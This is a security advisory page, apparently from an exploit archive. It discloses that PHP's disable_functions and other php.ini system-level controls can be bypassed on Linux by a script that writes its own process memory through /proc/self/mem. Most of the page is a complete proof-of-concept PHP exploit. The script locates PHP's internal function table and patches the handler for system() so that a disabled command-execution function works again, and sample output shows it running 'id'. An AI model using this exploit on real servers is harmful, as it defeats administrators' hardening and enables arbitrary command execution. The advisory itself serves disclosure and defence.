what you don't know can hurt you

PHP PHP_INI_SYSTEM Ineffective Controls

PHP PHP_INI_SYSTEM Ineffective Controls
Posted May 21, 2019
Authored by Imre Rad

Security controls configured via php.ini directives at the PHP_INI_SYSTEM level are ineffective as they could be bypassed by malicious scripts via writing their own process memory on the Linux platform. Proof of concept code included.

tags | exploit, php, proof of concept
systems | linux
MD5 | f04fc6f6465d117497efa31d8a63fc4e

PHP PHP_INI_SYSTEM Ineffective Controls

Change Mirror Download
"PHP is a popular general-purpose scripting language that is
especially suited to web development."

PHP has deployed several features over the years that are prone to
incorrect architectural decisions (safe mode
https://www.php.net/manual/en/features.safe-mode.php or open_basedir
http://news.php.net/php.internals/105606), to have unexpected security
implications (register globals
https://www.php.net/manual/en/security.globals.php), or simply
violated architectural patterns and ended up in a mess (magic quotes
gpc - https://www.php.net/manual/en/security.magicquotes.php).

This advisory is about to expand this list: security controls
configured via php.ini directives at the PHP_INI_SYSTEM level are
ineffective as they could be bypassed by malicious scripts via writing
their own process memory on the Linux platform.
As an example, a threat actor could exploit this flaw to execute PHP
functions that have been disabled via the disable_functions directive.
It is quite common to disable the exec family of PHP functions aiming
to prevent OS command execution in PHP scripts. This weakness enables
executing OS commands in restricted configurations.

The attack has been reported to the PHP maintainers
(https://bugs.php.net/bug.php?id=78006) along with a proof of concept
code (https://github.com/irsl/php-bypass-disable-functions) and the
recommendation to introduce a new security measure via the fopen
wrappers to prevent tampering with /proc/self/mem. The issue was
acknowledged but the proposal was rejected saying the attack could be
mounted via PHP extensions as well, and this shall be addressed at the
operating system level instead.

At this point, I decided to publish this advisory, so that system
administrators who rely on php.ini settings as their primary/only line
of defense shall revisit their configuration and follow another
approaches to secure their applications.



------
proof of concept

php-bypass-disable-functions

Demo project how to bypass the disable_functions security control of PHP on Linux

Tested on PHP 7.3.5, x86_64 Linux
how to use

regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php

Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)



disfunpoc.php:

<?php
system("id");

selfpatch();

system("id");


function selfpatch(){
$maps = read_proc_maps();
$cg = read_compiler_globals($maps);
$funs = read_function_table($cg);

$fn_passthru = $funs["passthru"] or die("no passthru?");
$fn_exec = $funs["exec"] or die("no exec?");
$fn_system = $funs["system"] or die("no system?");

/*
the functions above are defined right after each other, their zif_handler is allocated on the heap
subsequently. The difference of their addresses on 64 bit architectures is:
--enable-debug builds: 43 bytes
normal builds: 16 bytes
Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:
*/
$fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?");
$fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?");
$zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];
debug("zip_diff is: ".$zif_diff);

$real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;
$real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);

$fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing");
if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system");

// we are at num_args.
if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed");

fread($fd, 4); // skipping required_num_args

if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed");

if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed");

fclose($fd);
}


function read_zend_string($fd, $addr) {
if(fseek($fd, $addr+16)) die("Cannot access function name at $i");
$b = fread($fd, 8);
$lena = unpack("Q", $b);
return fread($fd, $lena[1]);
}

function read_function_from_bucket($fd, $i) {

$re = Array();

if(fseek($fd, $i)) die("Cannot access bucket at $i");
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["internal_func_addr"] = $na[1];
$re["internal_func_addr_hex"] = dechex($na[1]);

if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i");
$b = fread($fd, 4);
$na = unpack("L", $b);
$re["fn_flags"] = $na[1];

$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["function_name_addr"] = $na[1];
$re["function_name_addr_hex"] = dechex($na[1]);

fread($fd, 16); // skipping zend_class_entry and zend_function ptrs

$b = fread($fd, 4);
$na = unpack("L", $b);
$re["num_args_bin"] = $b;
$re["num_args"] = $na[1];

fread($fd, 4); // skipping required_num_args

$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["arg_info_addr_bin"] = $b;
$re["arg_info_addr"] = $na[1];
$re["arg_info_addr_hex"] = dechex($na[1]);

$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["zif_handler_addr"] = $na[1];
$re["zif_handler_addr_hex"] = dechex($na[1]);

$re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);

debug(print_r($re, true));

// sleep(1); exit;

return $re;
}

function read_function_table($cg) {

$re = Array();
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");

/*
(gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)
$6 = 24
*/
$ardata_pos = $cg["function_table_address"]+16;

if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable");
$b = fread($fd, 8);
$nnum = unpack("Q", $b);

$arDataBase = $nnum[1];

$b = fread($fd, 8);
$nnum = unpack("L*", $b);

$nNumUsed = $nnum[1];
$nNumOfElements = $nnum[2];

debug("Number of functions: $nNumUsed/$nNumOfElements");
$addr = $arDataBase;
for($i = 0; $i < $nNumUsed; $i++) {
$fun = read_function_from_bucket($fd, $addr);
$re[$fun["func_name"]] = $fun;
/*
(gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])
$10 = 32
*/
$addr += 32;
}

fclose($fd);

return $re;
}

function find_compiler_globals_at($fd, $i) {
if(fseek($fd, $i)) die("couldnt access memory at: $i\n");
$b = fread($fd, 16);
$up = unpack("L*", $b);
// print_r($up); //exit;
if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {
debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));
return $i;
}
return 0;
}

// Function based on some dummy heuristics. Could be improved to be more robust/reliable.
function read_compiler_globals($maps){
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");

$addr = 0;
foreach($maps as $map) {
debug("reading memory: ".print_r($map, true));
$i = $map["mem_region_begin"];

while($i + 16 <= $map["mem_region_end"]) {
if($addr = find_compiler_globals_at($fd, $i)) {
break;
}
$i+= 8;
}

if($addr) break;
}

if(!$addr) die("Couldnt find compiler globals");

/*
(gdb) p &(compiler_globals->function_table)
$4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>
*/
if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n");
$b = fread($fd, 8);
$ft = unpack("Q", $b)[1];

$re = Array(
"compiler_global_address" => $addr,
"compiler_global_address_hex" => dechex($addr),
"function_table_address" => $ft,
"function_table_address_hex" => dechex($ft),
);

fclose($fd);

debug(print_r($re, true));

return $re;
}

function read_proc_maps(){
$maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps");
debug($maps_str);
$re = Array();
#
preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);
# print_r($matches);
$php_seen = 0;
for($i = 0; $i < count($matches[0]); $i++) {
$a = Array(
"executable" => trim($matches[4][$i]),
"perms" => $matches[3][$i],
"mem_region_begin_hex"=> $matches[1][$i],
"mem_region_end_hex"=> $matches[2][$i],
"mem_region_begin"=> hexdec($matches[1][$i]),
"mem_region_end"=> hexdec($matches[2][$i]),
);
// echo "$executable: $perms\n";
if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {
$php_seen = 1;
}

if($a["executable"] == "[heap]") {
array_push($re, $a);
}
elseif($a["perms"] == "rw-p") {
if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))
array_push($re, $a);
}
}
if(!count($re)) die("Couldnt find any interesting memory regions");

debug(print_r($re, true));
return $re;
}


function endsWith($haystack, $needle) {
return substr_compare($haystack, $needle, -strlen($needle)) === 0;
}

function debug($m) {
return;
echo "$m\n";
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close